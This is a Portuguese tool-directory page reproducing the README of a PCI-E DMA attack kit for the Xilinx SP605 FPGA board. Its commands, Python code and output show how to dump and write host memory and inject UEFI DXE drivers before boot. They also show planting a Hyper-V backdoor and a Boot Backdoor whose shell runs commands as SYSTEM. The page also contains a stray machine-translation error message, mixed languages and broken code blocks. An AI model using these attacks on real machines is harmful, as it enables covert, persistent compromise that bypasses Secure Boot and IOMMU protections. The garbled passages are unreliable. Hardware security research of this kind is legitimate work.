Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
s6_pcie_microblaze — Kit de hacking DIY para PCI Express da Xilinx SP605. Este repositório também abriga o Hyper-V Backdoor e o Boot Backdoor; consulte o readme para links e informações. | Kitploit
Ferramentas/GitHubGitHub/cr4sh/s6_pcie_microblaze
ExploraçãoExfiltração de DadosPós-ExploraçãoHacking de HardwareComando e ControleRed TeamingDesenvolvimento de Payloads
GitHubcr4sh/s6_pcie_microblaze

s6_pcie_microblaze

Kit de hacking DIY para PCI Express da Xilinx SP605. Este repositório também abriga o Hyper-V Backdoor e o Boot Backdoor; consulte o readme para links e informações.

Ver Repositório
880167há 5 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Kit de hacking DIY para PCI Express

General information
Contents
SP605 board configuration
Software configuration
Examples
Using Python API
Practical DMA attacks
Option ROM attacks
Troubleshooting
Building project from the source code

General information

Este repositório contém um conjunto de ferramentas e provas de conceito relacionadas ao barramento PCI-E e ataques DMA. Inclui um design HDL que implementa um dispositivo endpoint PCI-E gen 1.1 controlável por software para o Xilinx SP605 Evaluation Kit com FPGA Spartan-6. Em comparação com o popular USB3380EVB, este design permite operar com pacotes brutos de nível de transação (TLP) do barramento PCI-E e realizar operações completas de leitura/escrita de memória de 64 bits. Para demonstrar casos de uso aplicados do design, existe uma ferramenta para ataques DMA pré-inicialização em máquinas baseadas em UEFI que permite executar drivers UEFI DXE arbitrários durante a inicialização da plataforma.

Existe um programa que mostra como usar ataques DMA pré-inicialização para injetar um backdoor de manipulador de saída de VM do Hyper-V no Windows 10 e 11 com segurança baseada em virtualização habilitada e executando em plataformas com UEFI Secure Boot ativado. A PoC fornecida do Hyper-V Backdoor pode ser útil para fins de engenharia reversa e desenvolvimento de exploits; ela fornece uma interface para inspecionar o estado do hipervisor (VMCS, memória física/virtual, registradores, etc.) a partir da partição convidada e realizar ataques de escape de VM do convidado para o host.

Outro programa mostra como usar ataques DMA pré-inicialização para injetar código arbitrário em modo de usuário ou modo kernel no sistema operacional Windows, sequestrando seu processo de inicialização usando o Boot Backdoor. Este programa também pode funcionar com o DMA Shell − é um payload do Boot Backdoor que permite executar comandos de console através do dispositivo PCI-E fraudulento, transferir arquivos e carregar executáveis de terceiros no sistema operacional alvo em tempo de execução.

💾 A parte do Hyper-V Backdoor deste projeto tem muitos outros recursos e opções de implantação além dos descritos neste documento; você pode usá-la separadamente das ferramentas de ataque DMA, mesmo sem qualquer hardware especial: consulte sua documentação

💾 A parte do Boot Backdoor deste projeto tem muitos outros recursos e opções de implantação além dos descritos neste documento; você pode usá-la separadamente das ferramentas de ataque DMA, mesmo sem qualquer hardware especial: consulte sua documentação

💾 As ferramentas Python deste projeto e os designs FPGA para as placas SP605, ZC706 e PicoEVB também podem ser usados para implantar o SMM Backdoor Next Gen com ataque DMA pré-inicialização. Consulte sua documentação para mais detalhes técnicos.

🛠️ As ferramentas Python e os payloads deste projeto, incluindo o Hyper-V Backdoor e o Boot Backdoor, também podem ser usados com placas baseadas no SoC Xilinx Zynq-7000. Existe um projeto separado de design para ataques DMA para o kit de avaliação Xilinx ZC706.

🛠️ As ferramentas Python e os payloads deste projeto, incluindo o Hyper-V Backdoor e o Boot Backdoor, também podem ser usados com a placa de desenvolvimento PicoEVB. Existe um projeto Pico DMA separado − um implante de hardware totalmente autônomo para ataques DMA pré-inicialização para slot M.2 que pode executar drivers UEFI DXE arbitrários como payload.

Contents

  • s6_pcie_microblaze.xise − Arquivo de projeto do Xilinx ISE.

  • microblaze/pcores/axis_pcie_v1_00_a/ − Módulo periférico personalizado que permite conectar o bloco endpoint PCI Express integrado do FPGA Spartan-6 como um fluxo TLP bruto ao núcleo do processador MicroBlaze soft.

  • sdk/srec_bootloader_0/ − Bootloader simples para o processador MicroBlaze soft, que usa o formato de imagem SREC e a memória flash linear integrada do SP605 para carregar e armazenar o programa principal do MicroBlaze.

  • sdk/main_0/ − Programa principal para o processador MicroBlaze soft, que encaminha pacotes TLP brutos do barramento PCI-E para a conexão TCP usando a porta Ethernet integrada do SP605 e a pilha de rede lwIP.

  • python/pcie_lib.py − Biblioteca Python para interagir pela rede com o programa principal do MicroBlaze executado na placa SP605; ela implementa várias abstrações de baixo e alto nível para trabalhar com o nível TLP do PCI-E a partir do código Python.

  • python/pcie_mem.py − Programa de linha de comando que despeja a RAM do host na tela ou em um arquivo de saída enviando TLPs de MRd.

  • python/pcie_mem_scan.py − Programa de linha de comando que verifica o host alvo em busca de intervalos de memória física acessíveis pelo barramento PCI-E; é útil para auditoria de segurança de plataformas com IOMMU habilitado (exemplos: 1, , , ).

SP605 board configuration

O documento UG526 da Xilinx, também conhecido como SP605 Hardware User Guide, é seu melhor amigo se você quiser saber mais detalhes sobre o uso e a configuração desta placa.

  1. Para carregar o bitstream do chip flash SPI integrado, você precisa configurar o SP605 colocando as chaves SW1 na posição 1-ON, 2-OFF.

  2. Agora você deve gravar o bitstream do FPGA na flash SPI. Use o arquivo s6_pcie_microblaze.mcs se quiser fazer isso via JTAG com a ajuda do utilitário Xilinx iMPACT (veja este tutorial), ou s6_pcie_microblaze.bin se quiser usar um programador de flash SPI externo conectado ao conector J17 do SP605 (que é a forma mais rápida e conveniente).

No caso de um programador de flash SPI compatível com flashrom, você pode usar o programa flash_to_spi.py como um wrapper do flashrom:``` $ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin Using region: "main". Calibrating delay loop... OK. Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi. Reading old flash chip contents... done. Erasing and writing flash chip... Warning: Chip content is identical to the requested image. Erase/write done.

root@kitploit:~
3) O arquivo de bitstream que foi gravado na flash SPI na etapa anterior inclui um bootloader personalizado para o núcleo MicroBlaze (consulte [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) para mais detalhes). Este bootloader permite configurar as opções da placa e gravar o programa principal na flash linear pela porta UART do SP605.

Para inicializar o MicroBlaze no modo de atualização, você deve desconectar o programador de flash SPI e ligar a placa mantendo pressionado o botão `SW4`; solte `SW4` quando o LED `DS6`, que indica o modo de atualização ativo, acender. 

4) Para gravar o programa principal (consulte [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) para mais detalhes) na flash linear, você precisa conectar seu computador à porta USB da ponte UART do SP605 e executar o programa `bootloader_ctl.py` com a opção `--flash`:```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100

...

Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
  1. Para configurar as definições de rede, você precisa executar o programa bootloader_ctl.py com a opção --config:``` $ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472 [+] Opening device "/dev/ttyUSB0"... [+] Updating board settings...

Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472

Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE

root@kitploit:~
6) Agora você pode sair do modo de atualização e inicializar o programa principal MicroBlaze a partir da flash linear:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...

SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472

Main program prints its error messages into the onboard UART, you can use --console option of bootloader_ctl.py to monitor this messages in real time.

  1. Connect SP605 to the PCI-E slot of the target computer and turn the computer on. When PCI-E link was successfully established you will see DS3 and DS4 LEDs on.

  2. Run lspci command on target computer to ensure that its operating system is seeing your board as appropriate PCI-E device:```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID

root@kitploit:~
Notas relacionadas ao JTAG: o SP605 possui interface USB para JTAG integrada, compatível com o iMPACT e outras ferramentas da Xilinx. No entanto, ela não é muito boa, então, se você planeja usar o JTAG integrado para programar a flash SPI como descrito no tutorial da Xilinx, você precisa fazer o seguinte:

* Remova qualquer hardware conectado ao slot FMC do SP605 ao trabalhar com JTAG.

* Nas configurações do Xilinx iMPACT, configure a interface JTAG para usar velocidade de 750 KHz (em velocidades mais altas, ela funciona de forma instável).

A placa Xilinx SP605 também pode ser conectada à porta externa Thunderbolt 2/3 do computador alvo usando um [chassi de expansão Thunderbolt para PCI-E](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie). Observe que o SP605 é uma [placa relativamente grande](https://www.xilinx.com/support/answers/53808.html), então pode não caber em alguns chassis. Por exemplo, eu uso o [gabinete Thunderbolt 2 HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm), que funciona bem com o meu MacBook Pro.


## Configuração de software

As ferramentas Python para interagir com a placa e a implementação mínima da camada de transação PCI-E estão localizadas na pasta `python`. Como o programa principal MicroBlaze usa conexão TCP para transferir pacotes TLP, nenhum driver ou dependência de terceiros é necessário; você pode usar o código Python fornecido em qualquer sistema operacional.

Para definir o endereço IP e a porta da placa alvo, edite a variável `PCIE_TO_TCP_ADDR` no arquivo `python/pcie_lib_config.py`.


## Exemplos

Informações sobre o dispositivo PCI-E implementado pelo bitstream FPGA fornecido (exatamente como ele é visto pelo computador alvo):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
    Subsystem: Xilinx Corporation Default PCIe endpoint ID
    Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
    Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
    Interrupt: pin A routed to IRQ 11
    Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
    Capabilities: [40] Power Management version 3
        Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
        Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
    Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
        Address: 0000000000000000  Data: 0000
    Capabilities: [58] Express (v1) Endpoint, MSI 00
        DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
            ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
        DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
            RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
            MaxPayload 128 bytes, MaxReadReq 512 bytes
        DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
        LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
            ClockPM- Surprise- LLActRep- BwNot-
        LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
            ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
        LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
    Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35

Exemplo de dispositivo PCI-E como exibido nas informações de hardware do Apple macOS quando conectado à porta Thunderbolt 2 do MacBook Pro:

No lado do atacante, você pode usar o programa pcie_cfg.py para visualizar os registros do espaço de configuração do dispositivo PCI-E:``` $ ./pcie_cfg.py [+] PCI-E link with target is up [+] Device address is 03:00.0

root@kitploit:~
       VENDOR_ID = 0x10ee
       DEVICE_ID = 0x1337
         COMMAND = 0x0
          STATUS = 0x10
        REVISION = 0x0
      CLASS_PROG = 0x0
    CLASS_DEVICE = 0x200
 CACHE_LINE_SIZE = 0x10
   LATENCY_TIMER = 0x0
     HEADER_TYPE = 0x0
            BIST = 0x0
  BASE_ADDRESS_0 = 0x90500000
  BASE_ADDRESS_1 = 0x0
  BASE_ADDRESS_2 = 0x0
  BASE_ADDRESS_3 = 0x0
  BASE_ADDRESS_4 = 0x0
  BASE_ADDRESS_5 = 0x0
     CARDBUS_CIS = 0x0

SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0

root@kitploit:~
I have no content to translate because the input is empty. Please provide the source text for chunk 15.```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0

0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000

      ...

Aqui está um exemplo de despejo de 0x80 bytes da memória física do computador alvo começando do endereço zero usando o programa pcie_mem.py:``` $ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80 TLP TX: size = 0x04, source = 01:00.0, type = MRd64 tag = 0x00, bytes = 0x84, addr = 0x00000000

root@kitploit:~
    0x20000021 0x010000ff 0x00000000 0x00000000

TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0

root@kitploit:~
    0x4a000020 0x00000084 0x01000000
    0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0 
    0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0 
    0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0 
    0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0 
    0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0 
    0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0 
    0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0 
    0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0

TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0

root@kitploit:~
    0x4a000001 0x00000004 0x01000000
    0xf3ee00f0

00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............

root@kitploit:~
Exemplo de como salvar a memória física no arquivo:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin

O software Python fornecido usa algumas variáveis de ambiente para substituir os valores padrão de determinadas opções:

  • DEBUG_TLP − Se definido como 1, imprime o dump dos pacotes TLP TX e RX na saída padrão.

  • TARGET_ADDR − string <address>:<port> para substituir o endereço IP da placa especificada no arquivo python/pcie_lib_config.py.

Usando a API Python

A biblioteca Python pcie_lib.py fornece uma API de baixo nível para enviar e receber pacotes TLP PCE-E, juntamente com abstrações para diferentes tipos de TLP e uma API de alto nível para acesso à memória física.

O programa a seguir demonstra como trabalhar com TLPs brutos usando pcie_lib.py:```python from pcie_lib import *

Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py

file or TARGET_ADDR environment variable

dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))

get bus:device.function address of our PCI-E endpoint

bus_id = dev.get_bus_id()

MRd TLP request which reads 1 dword of memory at address 0x1000

tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address

send TLP

dev.write(tlp_tx)

receive root complex reply

tlp_rx = dev.read(raw = True)

prints 4a000001 00000004 01000000 00000000

print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))

check for CplD TLP format and type

assert (tlp_rx[0] >> 24) & 0xff == 0x4a

print readed dword

print('%.8x' % tlp_rx[3])

dev.close()

root@kitploit:~
Trabalhando com TLPs usando abstrações de alto nível mais convenientes:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)

# send TLP
dev.write(tlp_tx)

# receive root complex reply
tlp_rx = dev.read()

# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)

# print readed dword
print('%.8x' % tlp_rx.data[0])

Acessando memória física com API de alto nível:```python

write bytes to memory

dev.mem_write(0x1000, '\xAA' * 0x10)

write single qword/dword/word/byte to memory

dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)

read bytes from memory

print(repr(dev.mem_read(0x1000, 0x10)))

read single qword/dword/word/byte from memory

print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))

root@kitploit:~
## Ataques DMA práticos

Um dos principais objetivos deste projeto é fornecer um conjunto flexível e conveniente de ferramentas para realizar os chamados ataques DMA pré-inicialização, que, em comparação com os ataques DMA regulares, visam o ambiente de pré-inicialização da fase DXE do UEFI da inicialização da plataforma, em vez do próprio sistema operacional. Tais ataques permitem executar código malicioso em estágios relativamente iniciais, quando o [IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) e outros recursos de segurança do sistema operacional ainda não foram inicializados.

<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">

Os ataques DMA pré-inicialização permitem contornar vários recursos de segurança do firmware da plataforma, como UEFI secure boot ou [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard).

O programa Python `uefi_backdoor_simple.py` injeta um driver UEFI DXE dummy localizado na pasta `payloads/DmaBackdoorSimple` na sequência de inicialização do sistema alvo, usando o ataque DMA pré-inicialização descrito acima. Para usar este programa, você deve executar as seguintes etapas:

1) Desligue o computador alvo.

2) Conecte a placa SP605 à porta PCI-E (ou Mini PCI-E, ou M.2) do computador alvo.

3) Ligue a placa e certifique-se de que o firmware Microblaze foi inicializado com sucesso, pingando um endereço IP especificado durante a configuração da placa com o programa `bootloader_ctl.py`.

4) Execute o seguinte comando para iniciar o ataque DMA pré-inicialização:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
  1. Ligue o computador de destino; em caso de ataque bem-sucedido, após alguns segundos você verá a tela vermelha de mensagens de debug do driver UEFI DXE injetado:

Um exemplo da saída do console de uefi_backdoor_simple.py após o ataque bem-sucedido:``` $ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [+] Using UEFI system table hook injection method [+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] TSEG is somewhere around 0xd7000000 [+] PE image is at 0xd6260000 [+] EFI_SYSTEM_TABLE is at 0xd61eaf18 [+] EFI_BOOT_SERVICES is at 0xd680aa00 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18 Backdoor image size is 0x1240 Backdoor entry RVA is 0x31c Planting DXE stage driver at 0x10000... Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c 0.780202 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed [+] DONE

root@kitploit:~
Este driver UEFI DXE dummy, juntamente com o programa `uefi_backdoor_simple.py`, pode ser usado como projeto esqueleto para implementar vários ataques, como a injeção de código malicioso no bootloader do sistema operacional, no kernel ou no hipervisor.

Existe também outro programa Python &minus; `uefi_backdoor_hv.py`, que injeta o backdoor do manipulador de saída de VM do Hyper-V, localizado na pasta `payloads/DmaBackdoorHv`, na sequência de inicialização do sistema alvo, exatamente da mesma forma que o driver UEFI DXE dummy anterior. Aqui está um exemplo de seu uso:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded

    Hyper-V image base: 0xfffff8072d690000
           Image entry: 0xfffff8072d901360
       VM exit handler: 0xfffff8072d8add90

[+] DONE

O driver UEFI DXE do Hyper-V Backdoor também imprime suas mensagens de depuração na tela. Além disso, você pode usar a opção --debug-output do uefi_backdoor_hv.py para ler essas mensagens de depuração da memória física do sistema alvo e imprimi-las no stdout:``` $ ./uefi_backdoor_hv.py --debug-output [+] PCI-E link with target is up [+] Debug output buffer address is 0x79db3000

DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called

root@kitploit:~
Para obter mais informações sobre casos de uso e recursos do Hyper-V Backdoor, [consulte o arquivo README](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) com informações detalhadas.

Os programas Python `uefi_backdoor_boot.py` e `uefi_backdoor_boot_shell.py` são usados para injetar o Boot Backdoor na sequência de inicialização do sistema alvo. O Boot Backdoor permite executar código arbitrário em modo de usuário ou em modo kernel no sistema operacional Windows, e seu payload, chamado DMA Shell, permite executar comandos de console e transferir arquivos. Para implantar o Boot Backdoor com o DMA Shell usando um ataque DMA de pré-inicialização, você precisa executar os mesmos passos descritos acima, mas usando o programa `uefi_backdoor_boot_shell.py`:```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded

              Image base: 0x0086a000
 OslArchTransferToKernel: 0x009c4b20

[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000

nt authority\system

Agora, quando o Boot Backdoor com seu payload foi carregado com sucesso, você pode executar uefi_backdoor_boot_shell.py com a opção --attach para se comunicar com a instância atualmente em execução do DMA Shell:``` $ ./uefi_backdoor_boot_shell.py --attach --command "hostname" [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Payload shared memory region is at 0x00200000 [+] Executing command: hostname [+] Process exit code: 0x00000000

DESKTOP-E52IJJ8

root@kitploit:~
Além disso, você pode usar a opção `--debug-output` para obter mensagens de depuração do driver Boot Backdoor UEFI DXE e imprimi-las no stdout:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000

DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) :   Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20

Para obter mais informações sobre casos de uso e recursos do Boot Backdoor, consulte seu arquivo README com informações detalhadas.

Os programas Python uefi_backdoor_simple.py, uefi_backdoor_hv.py, uefi_backdoor_boot.py e uefi_backdoor_boot_shell.py suportam duas maneiras diferentes de passar a execução para a imagem do driver UEFI DXE injetado:

